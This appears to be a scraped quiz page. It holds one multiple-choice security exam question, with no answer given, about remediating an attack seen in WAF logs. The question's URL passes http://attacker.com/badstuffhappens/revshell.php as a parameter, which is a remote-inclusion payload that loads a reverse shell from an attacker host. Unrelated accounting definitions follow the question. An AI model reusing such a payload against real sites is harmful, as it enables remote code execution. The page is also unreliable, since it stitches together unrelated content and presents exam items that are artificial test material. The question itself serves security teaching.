While Monitoring WAF Logs, a Security Analyst Discovers a Successful

question 119

Multiple Choice

While monitoring WAF logs, a security analyst discovers a successful attack against the following URL: https://example.com/index.php?Phone=http://attacker.com/badstuffhappens/revshell.php Which of the following remediation steps should be taken to prevent this type of attack?

• A) Implement a blacklist.
• B) Block URL redirections.
• C) Double URL encode the parameters.
• D) Stop external calls from the application.

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Definitions:

Post-closing Trial Balance

A list of all accounts and their balances after closing entries are made, serving as a check to ensure that debits equal credits.

Permanent Account Balances

The ongoing balances in balance sheet accounts that are carried over from one accounting period to the next.

Temporary Account Balances

Accounts that are closed at the end of each accounting period, including revenues, expenses, and dividends accounts.

Net Income

The net gain a company achieves after all operational costs and taxes are removed from its entire revenue.